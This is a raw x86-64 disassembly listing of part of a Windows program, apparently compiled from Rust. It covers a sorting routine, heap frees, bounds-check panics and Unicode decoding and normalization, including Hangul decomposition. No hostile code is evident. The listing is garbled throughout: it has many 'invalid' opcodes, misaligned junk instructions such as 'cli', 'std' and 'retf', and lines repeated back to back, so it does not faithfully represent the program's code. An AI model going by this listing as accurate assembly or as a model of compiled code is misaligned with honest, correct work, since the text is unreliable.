jae 0x140040ce0
mov r8d, 2
cmp rax, 2
je 0x140040938
nop dword [rax + rax]
mov r9d, edx
movzx edx, byte [rcx + r8*8]
cmp dl, r9b
jae 0x140040938
inc r8
cmp rax, r8
jne 0x140040920
mov r8, rax
mov rdx, r8
add rdx, r13
invalid
jb 0x140040f4f
invalid
cmp rdx, r15
cli
ja 0x140040f3d
xchg eax, esi
add eax, 0x89490000
cld
mov r12, rdi
cmp r8, 2
jae 0x140040d0e
mov r8d, 1
jmp 0x140040893
nop word cs:[rax + rax]
add byte [rax], al
mov qword [rsp + 0x30], rdx
cmp r14, qword [rsp + 0x48]
jne 0x1400409d5
mov rdx, r14
shl rdx, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140040f31
mov rsi, rax
lea rax, [r14 + r14]
mov qword [rsp + 0x48], rax
mov r8, r14
shl r8, 4
mov rcx, rsi
mov rbx, r12
mov rdx, r12
call fcn.140106530
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r14
shl rax, 4
add al, 0x49
mov dword [rsp + rax], edi
add al, 0x49
mov dword [rsp + rax], edi
mov qword [r12 + rax + 8], r13
inc r14
mov rax, r14
cmp r14, 2
add cl, byte [rcx + rcx*4 - 0x19]
add cl, byte [rcx + rcx*4 - 0x19]
mov qword [rsp + 0x60], r12
jae 0x140040a6f
jmp 0x140040866
mov rsi, qword [rsp + 0x28]
mov rdx, rsi
mov r14, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x60]
add r13, rdi
add rbx, rdi
sub r8, rdx
mov rcx, r12
call fcn.140106530
mov rax, qword [rsp + 0x68]
add rax, rbp
mov qword [rbx], rax
mov rax, qword [rsp + 0x70]
mov qword [rbx + 8], rax
lea rdx, [r13 + 0x10]
mov rax, qword [rsp + 0x78]
not rax
add r14, rax
shl r14, 4
mov rcx, r13
mov r8, r14
call fcn.140106530
mov rax, qword [rsp + 0x80]
cmp rax, 1
movabs rbp, 0x1ffffffffffffffe
jbe 0x140040860
mov r14, rax
lea r10, [rax - 1]
mov rcx, r10
shl rcx, 4
mov rax, qword [rdi + rcx]
mov rcx, qword [rdi + rcx + 8]
add rcx, rax
cmp rcx, r15
je 0x140040ae0
mov rdx, r14
shl rdx, 4
mov r8, qword [rdx + rdi - 0x20]
cmp r8, rax
jbe 0x140040ae0
cmp r14, 2
je 0x140040d3b
lea r11, [r14 - 3]
mov rcx, r11
shl rcx, 4
mov rcx, qword [rdi + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x140040af5
cmp r14, 3
jbe 0x140040e00
add r8, rcx
cmp qword [rdx + rdi - 0x40], r8
jbe 0x140040af5
jmp 0x140040866
cmp r14, 2
je 0x140040afa
lea r11, [r14 - 3]
mov rcx, r11
shl rcx, 4
mov rcx, qword [rdi + rcx]
cmp rcx, rax
jb 0x140040afe
lea r11, [r14 - 2]
cmp r14, r11
jbe 0x140040ea0
lea rbx, [r11 + 1]
cmp r14, rbx
jbe 0x140040e5a
mov qword [rsp + 0x20], r14
mov r13, r11
shl r13, 4
mov rcx, qword [rdi + r13 + 8]
shl rbx, 4
mov rax, qword [rdi + rbx]
mov r14, qword [rdi + rbx + 8]
add r14, rax
mov rsi, r14
sub rsi, rcx
jb 0x140040ee6
cmp r14, r15
ja 0x140040ef5
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], r11
mov qword [rsp + 0x80], r10
mov rbp, qword [rdi + r13]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rcx
lea r12, [rax + rcx*8]
lea rdi, [r12 + rbp*8]
mov r15, rsi
sub r15, rbp
cmp r15, rbp
jae 0x140040c20
lea r8, [r15*8]
mov rsi, qword [rsp + 0x28]
mov rcx, rsi
mov rdx, rdi
call fcn.140106530
lea r8, [rsi + r15*8]
test rbp, rbp
jle 0x140040cc0
test r15, r15
jle 0x140040cc0
mov rax, qword [rsp + 0x50]
lea rax, [rax + r14*8]
mov r15, qword [rsp + 0x38]
mov r14, qword [rsp + 0x20]
nop word cs:[rax + rax]
movzx ecx, byte [r8 - 8]
movzx edx, byte [rdi - 8]
cmp cl, dl
mov r9d, 0
sbb r9, r9
cmp cl, dl
mov r10d, 0
adc r10, 0xffffffffffffffff
cmp cl, dl
lea rdi, [rdi + r9*8]
lea r8, [r8 + r10*8]
mov rcx, r8
cmovb rcx, rdi
mov rcx, qword [rcx]
mov qword [rax], rcx
cmp rdi, r12
jbe 0x140040c15
add rax, 0xfffffffffffffff8
cmp r8, rsi
ja 0x140040bd0
mov r12, rdi
mov rdx, rsi
jmp 0x140040a0b
lea r8, [rbp*8]
mov r15, qword [rsp + 0x28]
mov rcx, r15
mov rdx, r12
call fcn.140106530
lea r8, [r15 + rbp*8]
test rbp, rbp
jle 0x140040cc5
cmp rsi, rbp
mov r15, qword [rsp + 0x38]
jle 0x1400409fe
mov rax, qword [rsp + 0x40]
lea rax, [rax + r14*8]
mov rsi, qword [rsp + 0x28]
mov rdx, rsi
mov r14, qword [rsp + 0x20]
nop dword [rax]
movzx r9d, byte [rdi]
xor r10d, r10d
xor ecx, ecx
cmp r9b, byte [rdx]
setae r10b
setb r9b
mov r11, rdx
cmovb r11, rdi
mov r11, qword [r11]
mov qword [r12], r11
add r12, 8
lea rdx, [rdx + r10*8]
cmp rdx, r8
jae 0x140040a0b
std
invalid
invalid
std
invalid
mov cl, r9b
lea rdi, [rdi + rcx*8]
cmp rdi, rax
invalid
jb 0x140040c70
invalid
jmp 0x140040a0b
add byte [rax], al
add byte [rcx - 0x77], cl
cld
mov r12, rdi
jmp 0x140040cca
mov rsi, qword [rsp + 0x28]
mov esi, dword [rsp + 0x28]
je 0x140040ced
sub byte [rax - 0x77], cl
mov r15, qword [rsp + 0x38]
mov rdx, rsi
mov r15, qword [rsp + 0x38]
cmp cl, ch
invalid
jmp 0x140040a06
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, 2
cmp rax, 2
je 0x14004088c
sti
invalid
mov r9d, edx
movzx edx, byte [rcx + r8*8]
cmp dl, r9b
jb 0x14004088c
inc r8
cmp rax, r8
jne 0x140040cf0
jmp 0x140040889
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x20], r14
mov rax, r8
shr rax, 1
lea rdx, [rcx + r8*8]
lea r9, [rax*8]
sub rdx, r9
cmp rax, 1
jne 0x140040d46
xor r9d, r9d
jmp 0x140040dc2
mov r14d, 2
jmp 0x140040866
mov r10, rax
and r10, 0xfffffffffffffffe
mov r9, qword [rsp + 0x58]
lea r11, [r9 + r13*8]
sbb al, 0xe9
ret 0x8349
sbb al, 0xe9
mov r9, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x30]
lea rsi, [r9 + rsi*8]
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
nop word [rax + rax]
add byte [rax], al
movzx ebx, byte [r11 + r9*8 - 0xc]
mov edi, dword [r11 + r9*8 - 8]
mov r14, qword [rsi]
mov qword [r11 + r9*8 - 0xc], r14
mov byte [rsi], bl
mov dword [rsi + 4], edi
mov rdi, r9
xor rdi, rbp
add rdi, rax
movzx ebx, byte [r11 + r9*8 - 4]
mov ebp, dword [r11 + r9*8]
mov r14, qword [rdx + rdi*8]
mov qword [r11 + r9*8 - 4], r14
mov byte [rdx + rdi*8], bl
mov dword [rdx + rdi*8 + 4], ebp
movabs rbp, 0x1ffffffffffffffe
add r9, 2
add rsi, 0xfffffffffffffff0
cmp r10, r9
jne 0x140040d70
test r8b, 2
je 0x140040dec
mov r10, r9
not r10
add rax, r10
movzx r10d, byte [rcx + r9*8]
mov r11d, dword [rcx + r9*8 + 4]
mov rsi, qword [rdx + rax*8]
mov qword [rcx + r9*8], rsi
mov byte [rdx + rax*8], r10b
mov dword [rdx + rax*8 + 4], r11d
mov rsi, qword [rsp + 0x28]
mov r14, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
jmp 0x140040893
mov r14d, 3
jmp 0x140040866
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
call rdi
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
mov rax, rdi
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
lea rdx, [0x14014c460]
lea rcx, [rsp + 0x88]
call fcn.140108560
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
lea rdx, [0x14014c448]
lea rcx, [rsp + 0x88]
call fcn.140108560
lea r8, [0x14014c478]
mov rdx, r14
call fcn.140108810
lea r8, [0x14014c478]
mov rcx, r14
mov rdx, r15
call fcn.140108620
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x14014c508]
mov edx, 0x2c
call fcn.140108630
lea r8, [0x14014c520]
mov rcx, r13
mov rdx, rdi
call fcn.140108810
lea rcx, [0x14014c4c0]
call fcn.140108970
lea r8, [0x14014c430]
mov rcx, rdx
mov rdx, r15
call fcn.140108620
lea r8, [0x14014c430]
mov rcx, r13
call fcn.140108810
lea rcx, [0x14014c490]
call fcn.140108970
lea rcx, [0x14014c4a8]
call fcn.140108970
int3
inc dword [rbx - 0x7bf0ffc2]
invalid
sbb byte [rax + 0x3b], r9b
or byte [rbp + 0xd], r14b
lea rcx, [rsi + 8]
call fcn.1400411c0
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov byte [rcx + rax*8], 0
mov dword [rcx + rax*8 + 4], edi
inc rax
add al, 0xc1
add byte [rcx + 0x4804c17c], cl
inc eax
mov qword [rsi + 0x18], rax
jmp 0x140041182
cmp dword [rsi], 0
je 0x14004118d
mov rax, qword [rsi + 0x18]
jmp 0x140041191
movzx eax, word [rsi + 4]
mov qword [rsi + 0x40], rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rsi - 0x39], ah
and al, 0x74
add byte [rax], al
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x7c], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x80], 0
mov dword [rsp + 0x84], 0
mov byte [rsp + 0x88], 0
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x8c], 0
mov byte [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x94], 0
mov qword [rsp + 0x98], r8
cwde
add byte [rax], al
add byte [rcx + rcx*4 - 0x74], cl
and al, 0xa0
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x30]
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0xb0], 0
mov byte [rsp + 0xc4], cl
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x158], r13
lodsb al, byte [rsi]
and al, 0x58
add dword [rax], eax
add byte [rcx - 0x39], cl
adc byte [r8], r8b
adc byte [rax], al
add byte [rax], al
add bh, al
and al, 0x38
add byte [rax], al
add byte [rax], al
lodsb al, byte [rsi]
and al, 0x58
add dword [rax], eax
add byte [rcx - 0x39], cl
adc byte [r8], r8b
adc byte [rax], al
adc byte [rax], al
add byte [rax], al
add bh, al
and al, 0x38
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov rcx, qword [r15 + 0x10]
mov qword [rsp + 0x140], rcx
movups xmmword [rsp + 0x1f2], xmm6
lea r12, [rsp + 0x70]
mov dword [rsp + 0xc0], eax
mov dword [rsp + 0xe0], 0
mov word [rsp + 0xe4], 0
movzx eax, word [rsp + 0x200]
mov word [rsp + 0xf6], ax
movdqu xmm0, xmmword [rsp + 0x1f0]
movdqu xmmword [rsp + 0xe6], xmm0
mov dword [rsp + 0x100], 0x110000
mov byte [rsp + 0x104], 0
lea r15, [0x14012d3f8]
lea r13, [0x140130ec8]
xor edx, edx
mov ebx, dword [rsp + 0xe0]
mov r14, qword [rsp + 0xf0]
test ebx, ebx
je 0x140041680
test rdx, rdx
je 0x140041737
mov rcx, qword [rsp + 0xf8]
cmp rdx, 1
jne 0x1400421a3
cmp rax, rcx
jb 0x1400421e3
mov qword [rsp + 0xf8], 0
add byte [rax], al
add byte [rax], al
jmp 0x1400416c4
test rdx, rdx
je 0x140041737
movzx r8d, word [rsp + 0xe4]
movzx ecx, r8w
cmp rdx, 1
jne 0x1400421ad
cmp r8w, 4
ja 0x1400445eb
cmp rax, rcx
jb 0x1400421db
test r8w, r8w
je 0x1400416c4
mov word [rsp + 0xe4], 0
mov qword [rsp + 0x60], 0
jmp 0x140041737
movzx ebx, si
imul edi, ebx, 0x6f75
shr edi, 0x18
lea edx, [rdi + 0x1100]
mov rcx, r12
call fcn.14003f9c0
imul eax, edi, 0x24c
sub esi, eax
movzx eax, si
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, r12
call fcn.14003f9c0
mov eax, ebx
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub bx, cx
je 0x140041737
add ebx, 0x11a7
movzx edx, bx
mov rcx, r12
call fcn.14003f9c0
mov r9, qword [rsp + 0xd0]
test r9, r9
jne 0x140041ab0
movzx r10d, byte [rsp + 0xc0]
cmp r10b, 2
je 0x140041f41
mov r8, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x98]
mov r11, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
movzx ebp, byte [rsp + 0xc1]
mov rbx, qword [rsp + 0xb8]
test r8, r8
je 0x14004183b
cmp r8, rbx
je 0x14004182f
lea rcx, [r8 + 1]
mov qword [rsp + 0xb0], rcx
movzx esi, byte [r8]
movzx edx, sil
test dl, dl
jns 0x140041daa
mov ecx, edx
and ecx, 0x1f
lea r9, [r8 + 2]
mov qword [rsp + 0xb0], r9
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x140042099
lea rdx, [r8 + 3]
mov qword [rsp + 0xb0], rdx
add byte [rax], al
add byte [rax], al
movzx r9d, byte [r8 + 2]
shl edi, 6
and r9d, 0x3f
or r9d, edi
cmp sil, 0xf0
jb 0x1400420a5
lea rdx, [r8 + 4]
mov qword [rsp + 0xb0], rdx
movzx edx, byte [r8 + 3]
and ecx, 7
shl ecx, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
cmp edx, 0x110000
jne case.0x140041a08.0
mov qword [rsp + 0xb0], 0
cmp r14, r11
je 0x140041f39
lea rcx, [r14 + 1]
mov qword [rsp + 0x98], rcx
movzx r8d, byte [r14]
movzx edx, r8b
movzx edx, al
movzx edx, al
test dl, dl
js 0x140041870
mov r14, rcx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140041920
jmp 0x140041daa
mov ecx, edx
and ecx, 0x1f
lea rsi, [r14 + 2]
mov qword [rsp + 0x98], rsi
add byte [rbp + 0xf], al
mov dh, 0x4e
add dword [rcx - 0x7d], eax
loope 0x1400418c9
add byte [rbp + 0xf], al
mov dh, 0x4e
add dword [rcx - 0x7d], eax
loope 0x1400418c9
cmp dl, 0xdf
jbe 0x1400418e7
fbstp tbyte [rsi + 0x58]
lea rsi, [r14 + 3]
mov qword [rsp + 0x98], rsi
movzx edx, byte [r14 + 2]
mov dh, 0x56
add al, byte [rcx - 0x3f]
loope 0x1400418aa
mov dh, 0x56
add al, byte [rcx - 0x3f]
loope 0x1400418aa
and edx, 0x3f
or edx, r9d
invalid
cmp r8b, 0xf0
jb 0x1400418ff
lea r8, [r14 + 4]
mov qword [rsp + 0x98], r8
movzx r9d, byte [r14 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r9d, 0x3f
invalid
or r9d, edx
or r9d, ecx
invalid
invalid
mov r14, r8
mov edx, r9d
lea ecx, [rdx - 0x2d]
cmp ecx, 2
mov byte [rcx + rcx*4 - 0x36], 0x8d
rol qword [rbx + 0x3e7302f9], cl
jae 0x140041920
jae 0x140041920
jmp 0x140041daa
shl ecx, 6
or ecx, r9d
mov r14, rsi
mov edx, ecx
retf 0x4a8d
rol dword [rbx + 0x267302f9], cl
jmp 0x140041daa
shl ecx, 0xc
or edx, ecx
mov r14, rsi
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jb 0x140041daa
add al, 0
invalid
add al, 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
je 0x140041f39
add byte [rax], al
lea ecx, [rdx - 0x61]
cmp ecx, 0x1a
jb 0x140041daa
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x140041daa
mov r8d, 0x75a
xor ecx, ecx
mov r9d, 0x75a
nop word cs:[rax + rax]
shr r8, 1
add r8, rcx
mov esi, dword [r15 + r8*8]
cmp esi, edx
je 0x140041997
lea rdi, [r8 + 1]
cmp esi, edx
cmova r9, r8
cmovb rcx, rdi
mov r8, r9
sub r8, rcx
ja 0x140041960
dec rcx
mov r8, rcx
cmp rcx, 0x759
ja 0x14004245e
movzx r9d, word [r15 + r8*8 + 4]
mov ecx, r9d
and ecx, 0x7fff
test r9w, r9w
js 0x1400419d0
movzx r8d, word [r15 + r8*8]
mov r9d, edx
sub r9w, r8w
movzx ecx, cx
add ecx, r9d
movzx ecx, cx
cmp ecx, 0x1f73
jb 0x1400419e1
jmp 0x140042476
movzx r8d, cx
cmp r8d, 0x1f73
jae 0x140042487
movzx r9d, byte [r13 + rcx*4]
movzx ecx, byte [rbp + rcx*4]
mov r8d, 0
cmp r9d, 1
je case.default.0x140041a08
mov r8d, r9d
lea r9, [0x140177ed8]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov eax, dword [rsp + 0x70]
lea rsi, [rsp + 0x78]
mov rcx, qword [rsp + 0xc8]
test eax, eax
je 0x140041adf
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
cmp rcx, rdx
jb 0x140041afa
jmp 0x140042498
movzx edx, word [rsp + 0x74]
cmp rdx, 5
jae 0x140044533
mov r8, rsi
cmp rcx, rdx
jae 0x140042498
mov r14d, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x140041bc0
test eax, eax
je 0x140041bca
mov r8, qword [rsp + 0x88]
sub r8, r9
je 0x140041bd9
xor ecx, ecx
jmp 0x140041b53
mov edx, dword [r9 + rax*8 + 4]
movzx eax, byte [r9 + rax*8]
mov byte [r9 + rcx*8], al
mov dword [r9 + rcx*8 + 4], edx
lea rax, [rcx + 1]
mov rcx, rax
cmp r8, rax
je 0x140041bf1
invalid
sahf
add byte [rax], al
invalid
test byte [rsi + 0x48000000], bl
mov eax, dword [rsp + 0xd0]
mov rax, qword [rsp + 0xd0]
add rax, rcx
cmp dword [rsp + 0x70], 0
je 0x140041b90
mov rdx, qword [rsp + 0x88]
cmp rax, rdx
jae 0x1400423c3
mov r9, qword [rsp + 0x80]
cmp rcx, rdx
jb 0x140041b30
jmp 0x1400423d2
movzx edx, word [rsp + 0x74]
cmp rdx, 5
jae 0x140044533
cmp rax, rdx
jae 0x1400423c3
mov r9, rsi
cmp rcx, rdx
jb 0x140041b30
jmp 0x1400423d2
add byte [rax], al
mov qword [rsp + 0xc8], rcx
jmp 0x140041c1b
movzx r8d, word [rsp + 0x74]
sub r8, r9
jne 0x140041b24
test eax, eax
je 0x140041bf9
cmp qword [rsp + 0x88], r8
jb 0x140041c10
mov qword [rsp + 0x88], r8
jmp 0x140041c10
mov eax, dword [rsp + 0x70]
test eax, eax
jne 0x140041bdd
movzx eax, word [rsp + 0x74]
cmp r8, rax
jae 0x140041c10
mov word [rsp + 0x74], r8w
nop dword [rax]
lea rax, [rsp + 0xc8]
movups xmmword [rax], xmm6
imul eax, r14d, 0x9e3779b9
imul ecx, r14d, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x140153ff4]
movzx eax, word [rdx + rax*2]
add eax, r14d
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rcx, [0x140154728]
mov ebx, dword [rcx + rax*4]
mov eax, ebx
shr eax, 8
cmp eax, r14d
mov eax, 0
cmovne ebx, eax
mov ebp, dword [rsp + 0x100]
cmp ebp, 0x110000
jne 0x140041ca0
test bl, bl
jne 0x140042120
mov dword [rsp + 0x100], r14d
jmp 0x140041737
cmp byte [rsp + 0x104], 0
je 0x140041cd0
cmp byte [rsp + 0x105], bl
jae 0x140041cee
mov ecx, ebp
mov edx, r14d
call fcn.1400f54c0
cmp eax, 0x110000
je 0x140041cf6
mov dword [rsp + 0x100], eax
jmp 0x140041737
mov ecx, ebp
mov edx, r14d
call fcn.1400f54c0
cmp eax, 0x110000
jne 0x140041feb
test bl, bl
jne 0x140041cf6
jmp 0x140042196
test bl, bl
je 0x14004216f
cmp dword [rsp + 0xe0], 0
je 0x140041d40
mov rax, qword [rsp + 0xf8]
cmp rax, qword [rsp + 0xe8]
jne 0x140041d27
lea rcx, [rsp + 0xe8]
call fcn.14003fc00
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf0]
mov dword [rcx + rax*4], r14d
inc rax
mov qword [rsp + 0xf8], rax
jmp 0x140041d64
and al, 0xf0
add byte [rax], al
add byte [rcx + rcx*4 + 0x34], al
or dword [rax - 1], 0x848948c0
and al, 0xf8
add byte [rax], al
add bl, ch
and al, 0xf
mov bh, 0x84
and al, 0xe4
add byte [rax], al
add byte [rax - 0x7d], cl
clc
add ecx, dword [rdi]
xchg dword [rcx + 3], esp
add byte [rax], al
movzx eax, word [rsp + 0xe4]
cmp rax, 3
ja 0x1400420b3
mov dword [rsp + rax*4 + 0xe8], r14d
inc eax
mov word [rsp + 0xe4], ax
mov byte [rsp + 0x104], 1
mov byte [rsp + 0x105], bl
jmp 0x140041737
cmp edx, 0x110000
je 0x140041f39
cmp byte [rsp + 0xd8], 0
je 0x140041e6b
cmp edx, 0x80
jb 0x14004172f
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x1400416cf
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x140160030]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x140161df8]
mov rbp, qword [r9 + r8*8]
cmp edx, ebp
jne 0x140041ff7
mov rax, rbp
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0x1668
jae 0x1400445a1
shr rbp, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp rbp, rdx
ja 0x1400445b2
lea rax, [0x140169518]
lea rbx, [rax + rcx*4]
test rbp, rbp
jne 0x140042076
jmp 0x140041737
cmp edx, 0x80
jb 0x14004172f
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x1400416cf
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x1401579d0]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x1401589ec]
mov r14, qword [rcx + rax*8]
cmp edx, r14d
jne 0x14004172f
mov rax, r14
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140044590
shr r14, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r14, rdx
ja 0x1400445c1
test r14, r14
je 0x140041737
lea rax, [0x14015ca54]
lea rsi, [rax + rcx*4]
shl r14d, 2
xor edi, edi
nop dword [rax]
mov edx, dword [rsi + rdi]
mov rcx, r12
call fcn.14003f9c0
add rdi, 4
cmp r14, rdi
jne 0x140041f20
jmp 0x140041737
mov byte [rsp + 0xc0], 2
cmp dword [rsp + 0x70], 0
je 0x140041f7b
mov rdx, qword [rsp + 0x88]
test rdx, rdx
lea rsi, [rsp + 0x78]
je 0x140042130
mov r8, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xd0]
mov rax, rdx
sub rax, rcx
jae 0x140041faf
jmp 0x140044570
movzx edx, word [rsp + 0x74]
test rdx, rdx
lea rsi, [rsp + 0x78]
je 0x140042130
cmp dx, 5
jae 0x14004457c
mov r8, rsi
mov rcx, qword [rsp + 0xd0]
mov rax, rdx
sub rax, rcx
jb 0x140044570
lea rcx, [r8 + rcx*8]
mov rdx, rax
call fcn.140040780
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x140041fd8
mov r9, qword [rsp + 0x88]
mov qword [rsp + 0xd0], r9
jmp 0x140041ab9
movzx r9d, word [rsp + 0x74]
mov qword [rsp + 0xd0], r9
jmp 0x140041ab9
mov dword [rsp + 0x100], eax
jmp 0x140041737
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x1401579d0]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x1401589ec]
mov rbp, qword [rcx + rax*8]
cmp edx, ebp
jne 0x14004172f
mov rax, rbp
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140044590
shr rbp, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rbp, rdx
ja 0x1400445d0
lea rax, [0x14015ca54]
lea rbx, [rax + rcx*4]
test rbp, rbp
je 0x140041737
shl ebp, 2
xor esi, esi
nop dword [rax + rax]
mov edx, dword [rbx + rsi]
mov rcx, r12
call fcn.14003f9c0
add rsi, 4
cmp rbp, rsi
jne 0x140042080
jmp 0x140041737
shl ecx, 6
or ecx, edi
mov edx, ecx
jmp 0x140041daa
shl ecx, 0xc
or r9d, ecx
mov edx, r9d
jmp 0x140041daa
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0xe4]
mov r8d, r14d
call fcn.14010a670
cmp dword [rsp + 0xe0], 0
je 0x1400420f7
cmp qword [rsp + 0xe8], 0
je 0x1400420f7
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x170]
movups xmm1, xmmword [rsp + 0x180]
outsd dx, dword [rsi]
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x180], cl
lea rax, [rsp + 0xc8]
movups xmmword [rax + 0x28], xmm1
movdqu xmmword [rax + 0x18], xmm0
jmp 0x140041d64
mov ebp, r14d
jmp 0x140042240
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x68], 0
mov ebp, dword [rsp + 0x100]
mov edx, 2
mov eax, 0
cmp ebp, 0x110000
je 0x14004163a
mov dword [rsp + 0x100], 0x110000
jmp 0x140042240
mov dword [rsp + 0x100], r14d
mov byte [rsp + 0x104], 0
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
jmp 0x140042240
mov dword [rsp + 0x100], r14d
jmp 0x140042240
cmp rax, rcx
jae 0x1400421fa
mov rdx, r14
jmp 0x1400421c5
cmp r8w, 5
jae 0x1400445eb
lea rdx, [rsp + 0xe8]
cmp rax, rcx
jae 0x140042208
mov ebp, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x68], rax
jmp 0x140042240
lea r14, [rsp + 0xe8]
mov ebp, dword [r14 + rax*4]
inc rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], rax
jmp 0x140042240
mov qword [rsp + 0xf8], 0
jmp 0x140042218
test r8w, r8w
je 0x140042218
mov word [rsp + 0xe4], 0
mov ebp, dword [rsp + 0x100]
mov dword [rsp + 0x100], 0x110000
cmp ebp, 0x110000
je 0x1400424dd
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x158]
mov edx, ebp
call fcn.1400f6c10
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
jmp 0x14004163a
mov rcx, qword [r15 + 8]
add rcx, r14
mov rdx, r8
mov r8, r9
mov rsi, r9
call fcn.140106530
add r14, rsi
mov qword [r15 + 0x10], r14
mov dword [rsp + 0x140], 0
xor r8d, r8d
xor r14d, r14d
xor ebp, ebp
xor ebx, ebx
mov dword [rsp + 0x138], 0
mov dword [rsp + 0x150], 0
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x148], 0
xor ecx, ecx
xor edx, edx
xor eax, eax
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x50], ebx
cmp byte [r13 + 0x32], 0
je 0x14004441b
mov dword [rsp + 0x12c], ecx
mov rbx, qword [r15 + 8]
mov r15, qword [r15 + 0x10]
mov sil, 1
movabs rcx, 0x2e0000002e
test r15, r15
je 0x1400423de
mov r13d, edx
cmp byte [rbx + r15 - 1], 0x2e
jne 0x140042323
dec r15
je 0x1400423de
mov dword [rsp + 0x128], r8d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], r15
